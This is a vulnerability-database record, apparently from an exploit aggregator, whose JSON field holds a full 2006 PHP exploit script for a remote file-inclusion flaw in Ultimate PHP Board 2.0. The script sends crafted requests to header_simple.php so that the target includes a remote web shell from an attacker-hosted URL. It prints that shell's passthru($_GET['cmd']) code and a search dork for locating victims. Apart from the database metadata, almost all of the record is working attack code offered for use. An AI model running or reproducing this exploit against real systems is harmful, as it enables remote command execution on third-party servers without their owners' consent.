DATABASE RESOURCES PRICING ABOUT US

{"sourceData": "\n <?\r\nprint '\r\n::::::::: :::::::::: ::: ::: ::::::::::: ::: \r\n:+: :+: :+: :+: :+: :+: :+: \r\n+:+ +:+ +:+ +:+ +:+ +:+ +:+ \r\n+#+ +:+ +#++:++# +#+ +:+ +#+ +#+ \r\n+#+ +#+ +#+ +#+ +#+ +#+ +#+ \r\n#+# #+# #+# #+#+#+# #+# #+# \r\n######### ########## ### ########### ########## \r\n::::::::::: :::::::::: ::: :::: :::: \r\n :+: :+: :+: :+: +:+:+: :+:+:+ \r\n +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ \r\n +#+ +#++:++# +#++:++#++: +#+ +:+ +#+ \r\n +#+ +#+ +#+ +#+ +#+ +#+ \r\n #+# #+# #+# #+# #+# #+# \r\n ### ########## ### ### ### ### \r\n\t\r\n - - [DEVIL TEAM THE BEST POLISH TEAM] - -\r\n \r\n\r\n[Exploit name: Ultimate PHP Board <= 2.0 File Include Exploit\r\n[Script name: Ultimate PHP Board v.2.0\r\n[Script site: http://www.myupb.com/ourscripts_upb.php\r\ndork: "Powered by UPB"\r\n\r\n\r\n\r\n\r\nFind by: Kacper (a.k.a Rahim)\r\n\r\n\r\n========> DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam <========\r\n========> http://www.rahim.webd.pl/ <========\r\n\r\nContact: kacper1964@yahoo.pl\r\n\r\n(c)od3d by Kacper\r\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\nGreetings DragonHeart and all DEVIL TEAM Patriots :)\r\n- Leito & Leon \r\nTomZen, Gelo, Ramzes, DMX, Ci2u, Larry, @steriod, Drzewko, CrazzyIwan, Rammstein\r\nAdam., Kicaj., DeathSpeed, Arkadius, Michas, pepi, nukedclx, SkD, MXZ, sysios, \r\nmIvus, nukedclx, SkD, wacky, xoron\r\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n';\r\n\r\nif ($argc<4) {\r\nprint ('\r\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\nUsage: php '.$argv[0].' host shell cmd OPTIONS\r\nhost: script server (ip/hostname)\r\nshell: path to shell\r\ncmd: a shell command (ls -la)\r\nOptions:\r\n -p[port]: specify a port other than 80\r\n -P[ip:port]: specify a proxy\r\nExample:\r\nphp '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80\r\nshell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..best..polish..team..Greetz";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?>\r\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\r\n');\r\ndie;\r\n}\r\n\r\nerror_reporting(0);\r\nini_set("max_execution_time",0);\r\nini_set("default_socket_timeout",5);\r\n\r\nfunction quick_dump($string)\r\n{\r\n $result='';$exa='';$cont=0;\r\n for ($i=0; $i<=strlen($string)-1; $i++)\r\n {\r\n if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\r\n {$result.=" .";}\r\n else\r\n {$result.=" ".$string[$i];}\r\n if (strlen(dechex(ord($string[$i])))==2)\r\n {$exa.=" ".dechex(ord($string[$i]));}\r\n else\r\n {$exa.=" 0".dechex(ord($string[$i]));}\r\n $cont++;if ($cont==15) {$cont=0; $result.="\\r\\n"; $exa.="\\r\\n";}\r\n }\r\n return $exa."\\r\\n".$result;\r\n}\r\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\r\nfunction sendpackets($packet)\r\n{\r\n global $proxy, $host, $port, $html, $proxy_regex;\r\n if ($proxy=='') {\r\n $ock=fsockopen(gethostbyname($host),$port);\r\n if (!$ock) {\r\n echo 'No response from '.$host.':'.$port; die;\r\n }\r\n }\r\n else {\r\n\t$c = preg_match($proxy_regex,$proxy);\r\n if (!$c) {\r\n echo 'Not a valid proxy...';die;\r\n }\r\n $parts=explode(':',$proxy);\r\n echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\\r\\n";\r\n $ock=fsockopen($parts[0],$parts[1]);\r\n if (!$ock) {\r\n echo 'No response from proxy...';die;\r\n\t}\r\n }\r\n fputs($ock,$packet);\r\n if ($proxy=='') {\r\n $html='';\r\n while (!feof($ock)) {\r\n $html.=fgets($ock);\r\n }\r\n }\r\n else {\r\n $html='';\r\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\r\n $html.=fread($ock,1);\r\n }\r\n }\r\n fclose($ock);\r\n #debug\r\n #echo "\\r\\n".$html;\r\n}\r\nfunction make_seed()\r\n{\r\n list($usec, $sec) = explode(' ', microtime());\r\n return (float) $sec + ((float) $usec * 100000);\r\n}\r\n\r\n$host=$argv[1];\r\n$shell=$argv[2];\r\n$cmd="";\r\n\r\n$port=80;\r\n$proxy="";\r\nfor ($i=3; $i<$argc; $i++){\r\n$temp=$argv[$i][0].$argv[$i][1];\r\nif (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}\r\nif ($temp=="-p")\r\n{\r\n $port=str_replace("-p","",$argv[$i]);\r\n}\r\nif ($temp=="-P")\r\n{\r\n $proxy=str_replace("-P","",$argv[$i]);\r\n}\r\n}\r\n\r\nif ($proxy=='') {$p='http://'.$host.':'.$port;}\r\n\r\n$packet ="GET ".$p."includes/header_simple.php?_CONFIG[skin_dir]=".$shell."?cmd=".$cmd."%00 HTTP/1.0\\r\\n";\r\n$packet.="Host: ".$host."\\r\\n";\r\n$packet.="Connection: Close\\r\\n\\r\\n";\r\nsendpackets($packet);\r\nif (strstr($html,"hauru"))\r\n{\r\n$temp=explode("hauru",$html);\r\ndie($temp[1]);\r\n}\r\necho "Exploit err0r :(\\n";\r\necho "Go to DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam\\n";\r\n?>\r\n\n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-5485", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-5485", "type": "seebug", "viewCount": 13, "references": [], "lastseen": "2017-11-19T22:21:41", "published": "2006-11-06T00:00:00", "cvelist": [], "id": "SSV:5485", "enchantments_done": [], "modified": "2006-11-06T00:00:00", "title": "Ultimate PHP Board <= 2.0 (header_simple.php) File Include Exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": -0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.0}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645346868, "score": 1659785532}}

{}